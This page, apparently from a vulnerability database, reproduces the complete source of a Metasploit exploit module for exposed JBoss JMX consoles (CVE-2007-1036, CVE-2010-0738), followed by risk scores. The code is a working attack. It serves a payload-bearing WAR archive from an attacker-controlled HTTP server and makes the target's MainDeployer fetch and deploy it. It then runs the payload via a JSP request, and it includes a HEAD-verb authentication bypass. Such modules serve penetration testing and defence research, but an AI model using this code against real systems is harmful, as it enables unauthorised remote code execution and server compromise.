Lucene search
K

JBoss JMX Console Deployer Upload and Execute

🗓️ 10 Jul 2012 17:33:28Reported by jduck <[email protected]>, Patrick Hof, h0ng10Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 272 Views

JBoss JMX Console Deployer Upload and Execute module for executing payloads on JBoss servers via the exposed "jmx-console" application. Utilizes jboss.system:MainDeployer functionality to put the payload on the server and creates a temporary HTTP server to serve a WAR archive. Requires outbound connections from the target server

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'JBoss JMX Console Deployer Upload and Execute',
      'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:MainDeployer functionality. To accomplish this, a
        temporary HTTP server is created to serve a WAR archive containing our
        payload. This method will only work if the target server allows outbound
        connections to us.
      },
      'Author'      => [ 'jduck', 'Patrick Hof', 'h0ng10'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2007-1036' ],
          [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ], #For CVE-2010-0738
        ],
      'DisclosureDate' => '2007-02-20',
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [ 'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
            }
          ]
        ],
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]),
        OptString.new('HttpPassword', [ false, 'The password for the specified username' ]),
        OptString.new('JSP',      [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE',  [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('PATH',     [ true,  'The URI path of the console', '/jmx-console' ]),
        OptString.new('WARHOST',  [ false, 'The host to request the WAR payload from' ]),
        OptString.new('SRVHOST',  [ true, 'The local host to listen on. This must be an address on the local machine' ]),
        OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'GET', ['GET', 'POST', 'HEAD']])


      ])
  end


  def auto_target
    if datastore['VERB'] == 'HEAD' then
      print_status("Sorry, automatic target detection doesn't work with HEAD requests")
    else
      print_status("Attempting to automatically select a target...")
      res = query_serverinfo
      if not (plat = detect_platform(res))
        fail_with(Failure::NoTarget, 'Unable to detect platform!')
      end

      if not (arch = detect_architecture(res))
        fail_with(Failure::NoTarget, 'Unable to detect architecture!')
      end

      # see if we have a match
      targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
    end

    # no matching target found, use Java as fallback
    java_targets = targets.select {|t| t.name =~ /^Java/ }
    return java_targets[0]
  end


  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

    mytarget = target
    if (target.name =~ /Automatic/)
      mytarget = auto_target()
      if (not mytarget)
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

    # Generate the WAR containing the payload
    @war_data = p.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    })

    #
    # UPLOAD
    #
    resource_uri = '/' + app_base + '.war'
    service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    print_status("Starting up our web service on #{service_url} ...")
    start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

    if (datastore['WARHOST'])
      service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    end

    print_status("Asking the JBoss server to deploy (via MainDeployer) #{service_url}")
    if (datastore['VERB'] == "POST")
      res = send_request_cgi({
          'method'    => datastore['VERB'],
          'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
          'vars_post' =>
            {
              'action'      => 'invokeOpByName',
              'name'        => 'jboss.system:service=MainDeployer',
              'methodName'  => 'deploy',
              'argType'     => 'java.lang.String',
              'arg0'        => service_url
            }
        }, 30)
    else
      res = send_request_cgi({
          'method'    => datastore['VERB'],
          'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
          'vars_get' =>
            {
              'action'      => 'invokeOpByName',
              'name'        => 'jboss.system:service=MainDeployer',
              'methodName'  => 'deploy',
              'argType'     => 'java.lang.String',
              'arg0'        => service_url
            }
        }, 30)
    end
    if (! res)
      fail_with(Failure::Unknown, "Unable to deploy WAR archive [No Response]")
    end
    if (res.code < 200 or res.code >= 300)
      case res.code
      when 401
        print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      fail_with(Failure::Unknown, "Upload to deploy WAR archive [#{res.code} #{res.message}]")
    end

    # wait for the data to be sent
    print_status("Waiting for the server to request the WAR archive....")
    waited = 0
    while (not @war_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > 30)
        fail_with(Failure::Unknown, 'Server did not request WAR archive -- Maybe it cant connect back to us?')
      end
    end

    print_status("Shutting down the web service...")
    cleanup_service


    #
    # EXECUTE
    #
    print_status("Executing #{app_base}...")

    # The payload doesn't like POST requests
    # As the war file is not stored inside the jmx-console, we don't have to
    # care about the selected http method
    tmp_verb = datastore['VERB']
    tmp_verb = 'GET' if tmp_verb == 'POST'

    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 3 seconds inbetween tries
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    num_attempts = 5
    num_attempts.times do |attempt|
      res = send_request_cgi({
          'uri'     => uri,
          'method'  => tmp_verb
        }, 30)

      msg = nil
      if (! res)
        msg = "Execution failed on #{app_base} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "Execution failed on #{app_base} [#{res.code} #{res.message}]"
      elsif (res.code == 200)
        print_good("Successfully triggered payload at '#{uri}'")
        break
      end

      if (attempt < num_attempts - 1)
        msg << ", retrying in 3 seconds..."
        print_error(msg)

        select(nil, nil, nil, 3)
      else
        print_error(msg)
      end
    end

    #
    # DELETE
    #
    # XXX: Does undeploy have an invokeByName?
    #
    print_status("Undeploying #{app_base} ...")
    res = send_request_cgi({
      'method'    => datastore['VERB'],
      'uri'       => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
      'vars_post' =>
        {
          'action'      => 'invokeOpByName',
          'name'        => 'jboss.system:service=MainDeployer',
          'methodName'  => 'methodName=undeploy',
          'argType'     => 'java.lang.String',
          'arg0'        => app_base
        }
    }, 30)
    if (! res)
      print_warning("WARNING: Undeployment failed on #{app_base} [No Response]")
    elsif (res.code == 500 and datastore['VERB'] == 'POST')
      # POST requests result in a http 500 error, but the payload is removed..."
      print_warning("WARNING: Undeployment might have failed (unlikely)")
    elsif (res.code < 200 or res.code >= 300)
      print_warning("WARNING: Undeployment failed on #{app_base} [#{res.code} #{res.message}]")
    end

    handler
  end


  # Handle incoming requests from the server
  def on_request_uri(cli, request)

    #print_status("on_request_uri called: #{request.inspect}")
    if (not @war_data)
      print_error("A request came in, but the WAR archive wasn't ready yet!")
      return
    end

    print_status("Sending the WAR archive to the server...")
    send_response(cli, @war_data)
    @war_sent = true
  end


  def query_serverinfo
    path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
    res = send_request_raw(
      {
        'uri'    => path
      }, 20)

    if (res) && (res.code == 401)
      fail_with(Failure::NoAccess,"Unable to bypass authentication.  Try changing the verb to HEAD to exploit CVE-2010-0738.")
    end

    if (not res) or (res.code != 200)
      fail_with(Failure::Unknown,"Failed: Error requesting #{path}")
    end

    res
  end

  def autofilter
    true
  end

  # Try to autodetect the target platform
  def detect_platform(res)
    if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
      os = $1
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end


  # Try to autodetect the target architecture
  def detect_architecture(res)
    if (res.body =~ /<td.*?OSArch.*?(x86_64|amd64|x86|i386|i686).*?<\/td>/m)
      case arch
      when 'x86', 'i386', 'i686'
        return ARCH_X86
      when 'x86_64', 'amd64'
        return ARCH_X64
      end
    end
    nil
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2022 23:28Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
CVSS 3.15.3
EPSS0.81832
272